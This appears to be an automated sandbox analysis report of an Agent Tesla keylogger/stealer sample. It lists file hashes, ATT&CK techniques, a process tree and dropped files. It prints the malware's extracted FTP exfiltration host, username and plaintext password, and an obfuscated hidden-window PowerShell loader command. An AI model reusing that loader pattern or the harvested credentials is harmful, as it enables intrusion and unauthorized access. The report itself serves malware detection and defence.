agenttesla | ac5ace4225e767aa30c1a5d950826c2545887e07027bdba89f653583ca65441d

Analysis

max time kernel
99s
max time network
146s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
09-10-2024 02:10

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General

Target

ac5ace4225e767aa30c1a5d950826c2545887e07027bdba89f653583ca65441d.exe
Size

426KB
MD5

76c9f492fb7a8f80ec783e727b9cd83d
SHA1

d29380e856c2855296bfbdc14de2aef98bf90c3d
SHA256

ac5ace4225e767aa30c1a5d950826c2545887e07027bdba89f653583ca65441d
SHA512

927cec7b1d2a3414e58ff973aff0525cc79375e118449c9b3f62c0d02d82fe4c2e9d8a6ce446caf17ebc48674b377492be8845abcfaa7e597b3c32750783e393
SSDEEP

6144:NqC56ALcmpQFbVySc2pXKJv4Bsn4z6XCWtB/DWfFcCrESnJCd6DRptmr1QHPVTgo:KA9WL5c2pXK+yn4K/uSoESnXl+ZQOE

Score

10^/10

agenttesla discovery execution keylogger spyware stealer trojan

Malware Config

Extracted

Family

agenttesla

Credentials

Protocol: ftp
Host:
ftp://ftp.rusticpensiune.ro
Port:
21
Username:
[email protected]
Password:
99AM}+NZ&CCq!4Vq)9!(zXx01.lQ!~nS.fBnY,4Z~fjHnGo*B3Gd;B{Q1!%-Xw--%vn^0%nt

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2168	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\Control Panel\International\Geo\Nation	ac5ace4225e767aa30c1a5d950826c2545887e07027bdba89f653583ca65441d.exe

Blocklisted process makes network request 2 IoCs

flow	pid	Process
18	3240	msiexec.exe
20	3240	msiexec.exe

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
3240	msiexec.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
2168	powershell.exe
3240	msiexec.exe

Drops file in Program Files directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\Common Files\o.pri	ac5ace4225e767aa30c1a5d950826c2545887e07027bdba89f653583ca65441d.exe

Drops file in Windows directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\resources\0409\Bitings235\restqfr.sta	ac5ace4225e767aa30c1a5d950826c2545887e07027bdba89f653583ca65441d.exe
File opened for modification	C:\Windows\resources\0409\vampirism\discomposed.ini	ac5ace4225e767aa30c1a5d950826c2545887e07027bdba89f653583ca65441d.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
2192	3240	WerFault.exe	89

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ac5ace4225e767aa30c1a5d950826c2545887e07027bdba89f653583ca65441d.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
2168	powershell.exe
2168	powershell.exe
2168	powershell.exe
2168	powershell.exe
2168	powershell.exe
2168	powershell.exe
2168	powershell.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
2168	powershell.exe

Suspicious use of AdjustPrivilegeToken 22 IoCs

description	pid	Process
Token: SeDebugPrivilege	2168	powershell.exe
Token: SeIncreaseQuotaPrivilege	2168	powershell.exe
Token: SeSecurityPrivilege	2168	powershell.exe
Token: SeTakeOwnershipPrivilege	2168	powershell.exe
Token: SeLoadDriverPrivilege	2168	powershell.exe
Token: SeSystemProfilePrivilege	2168	powershell.exe
Token: SeSystemtimePrivilege	2168	powershell.exe
Token: SeProfSingleProcessPrivilege	2168	powershell.exe
Token: SeIncBasePriorityPrivilege	2168	powershell.exe
Token: SeCreatePagefilePrivilege	2168	powershell.exe
Token: SeBackupPrivilege	2168	powershell.exe
Token: SeRestorePrivilege	2168	powershell.exe
Token: SeShutdownPrivilege	2168	powershell.exe
Token: SeDebugPrivilege	2168	powershell.exe
Token: SeSystemEnvironmentPrivilege	2168	powershell.exe
Token: SeRemoteShutdownPrivilege	2168	powershell.exe
Token: SeUndockPrivilege	2168	powershell.exe
Token: SeManageVolumePrivilege	2168	powershell.exe
Token: 33	2168	powershell.exe
Token: 34	2168	powershell.exe
Token: 35	2168	powershell.exe
Token: 36	2168	powershell.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 3720 wrote to memory of 2168	3720	ac5ace4225e767aa30c1a5d950826c2545887e07027bdba89f653583ca65441d.exe	86
PID 3720 wrote to memory of 2168	3720	ac5ace4225e767aa30c1a5d950826c2545887e07027bdba89f653583ca65441d.exe	86
PID 3720 wrote to memory of 2168	3720	ac5ace4225e767aa30c1a5d950826c2545887e07027bdba89f653583ca65441d.exe	86
PID 2168 wrote to memory of 3240	2168	powershell.exe	89
PID 2168 wrote to memory of 3240	2168	powershell.exe	89
PID 2168 wrote to memory of 3240	2168	powershell.exe	89
PID 2168 wrote to memory of 3240	2168	powershell.exe	89

C:\Users\Admin\AppData\Local\Temp\ac5ace4225e767aa30c1a5d950826c2545887e07027bdba89f653583ca65441d.exe
"C:\Users\Admin\AppData\Local\Temp\ac5ace4225e767aa30c1a5d950826c2545887e07027bdba89f653583ca65441d.exe"
1⤵
- Checks computer location settings
- Drops file in Program Files directory
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3720
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden "$Nonprotraction=Get-Content -Raw 'C:\Users\Admin\AppData\Local\Temp\deciliteren\afstnings\Stenklver219.Int';$Helmuth=$Nonprotraction.SubString(747,3);.$Helmuth($Nonprotraction)"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2168
- - C:\Windows\SysWOW64\msiexec.exe
    "C:\Windows\syswow64\msiexec.exe"
    3⤵
    - Blocklisted process makes network request
    - Suspicious use of NtCreateThreadExHideFromDebugger
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    PID:3240
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 3240 -s 2016
      4⤵
      Program crash
      PID:2192

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 3240 -ip 3240
1⤵
PID:1148

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5qtfgcw0.lqk.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\deciliteren\afstnings\Stenklver219.Int

Filesize
52KB

MD5
78082e39dd451e1d5043bcd0d5a72b8e

SHA1
ae870a41f8b0585cacd05d5c6651e83460092325

SHA256
2f554bddfe10ada0fc5106bced02c8fc45e910848688146287d3423ef094a58f

SHA512
8780e10971c1179d341e7f4bfd0089e9586cb05048a75196fbf1a09ec8f48f80ecce8e10b5e5546b311e48bf0c2b2a9e9c481050bfae184f8dfbd7eb5ee984e8

Download Submit
C:\Users\Admin\AppData\Local\Temp\deciliteren\afstnings\Undersecretariat.Dog

Filesize
352KB

MD5
8024394448ef7b341a0ecd0240d0d957

SHA1
03c82389ccd69a4973dc5920d35e402b6a52ef19

SHA256
65d4c0a99921a9507a334bbb0d4a4c9ca07bdb8bedd7a225c71cfe98ca60cb08

SHA512
793a9149d7f1887dd36e46a5f190697369d1bf5e3a66600d08d3941d0dad5db6b56211c16c73fdad9724838c7a6b83bfc5716905af2b4dc5de784cd5b1c883f0

Download Submit
memory/2168-24-0x0000000005E90000-0x0000000005EDC000-memory.dmp

Filesize
304KB

Download
memory/2168-61-0x0000000074D40000-0x00000000754F0000-memory.dmp

Filesize
7.7MB

Download
memory/2168-11-0x00000000056F0000-0x0000000005756000-memory.dmp

Filesize
408KB

Download
memory/2168-44-0x0000000007270000-0x000000000728E000-memory.dmp

Filesize
120KB

Download
memory/2168-9-0x0000000005050000-0x0000000005678000-memory.dmp

Filesize
6.2MB

Download
memory/2168-22-0x0000000005840000-0x0000000005B94000-memory.dmp

Filesize
3.3MB

Download
memory/2168-23-0x0000000005DF0000-0x0000000005E0E000-memory.dmp

Filesize
120KB

Download
memory/2168-6-0x0000000074D4E000-0x0000000074D4F000-memory.dmp

Filesize
4KB

Download
memory/2168-25-0x0000000006E80000-0x0000000006F16000-memory.dmp

Filesize
600KB

Download
memory/2168-26-0x00000000062E0000-0x00000000062FA000-memory.dmp

Filesize
104KB

Download
memory/2168-27-0x0000000006340000-0x0000000006362000-memory.dmp

Filesize
136KB

Download
memory/2168-28-0x00000000074E0000-0x0000000007A84000-memory.dmp

Filesize
5.6MB

Download
memory/2168-8-0x0000000074D40000-0x00000000754F0000-memory.dmp

Filesize
7.7MB

Download
memory/2168-30-0x0000000008110000-0x000000000878A000-memory.dmp

Filesize
6.5MB

Download
memory/2168-32-0x0000000074D40000-0x00000000754F0000-memory.dmp

Filesize
7.7MB

Download
memory/2168-31-0x0000000007230000-0x0000000007262000-memory.dmp

Filesize
200KB

Download
memory/2168-33-0x0000000070B60000-0x0000000070BAC000-memory.dmp

Filesize
304KB

Download
memory/2168-34-0x0000000070F60000-0x00000000712B4000-memory.dmp

Filesize
3.3MB

Download
memory/2168-12-0x00000000057D0000-0x0000000005836000-memory.dmp

Filesize
408KB

Download
memory/2168-10-0x0000000005020000-0x0000000005042000-memory.dmp

Filesize
136KB

Download
memory/2168-47-0x0000000074D40000-0x00000000754F0000-memory.dmp

Filesize
7.7MB

Download
memory/2168-46-0x00000000073B0000-0x00000000073BA000-memory.dmp

Filesize
40KB

Download
memory/2168-48-0x00000000073F0000-0x000000000741A000-memory.dmp

Filesize
168KB

Download
memory/2168-49-0x0000000007420000-0x0000000007444000-memory.dmp

Filesize
144KB

Download
memory/2168-50-0x0000000074D40000-0x00000000754F0000-memory.dmp

Filesize
7.7MB

Download
memory/2168-51-0x0000000074D40000-0x00000000754F0000-memory.dmp

Filesize
7.7MB

Download
memory/2168-52-0x0000000074D40000-0x00000000754F0000-memory.dmp

Filesize
7.7MB

Download
memory/2168-7-0x00000000024B0000-0x00000000024E6000-memory.dmp

Filesize
216KB

Download
memory/2168-54-0x0000000074D4E000-0x0000000074D4F000-memory.dmp

Filesize
4KB

Download
memory/2168-55-0x0000000074D40000-0x00000000754F0000-memory.dmp

Filesize
7.7MB

Download
memory/2168-56-0x0000000074D40000-0x00000000754F0000-memory.dmp

Filesize
7.7MB

Download
memory/2168-57-0x0000000008790000-0x00000000093B3000-memory.dmp

Filesize
12.1MB

Download
memory/2168-58-0x0000000074D40000-0x00000000754F0000-memory.dmp

Filesize
7.7MB

Download
memory/2168-59-0x0000000074D40000-0x00000000754F0000-memory.dmp

Filesize
7.7MB

Download
memory/2168-60-0x0000000074D40000-0x00000000754F0000-memory.dmp

Filesize
7.7MB

Download
memory/2168-45-0x00000000072A0000-0x0000000007343000-memory.dmp

Filesize
652KB

Download
memory/3240-65-0x00000000012E0000-0x0000000002534000-memory.dmp

Filesize
18.3MB

Download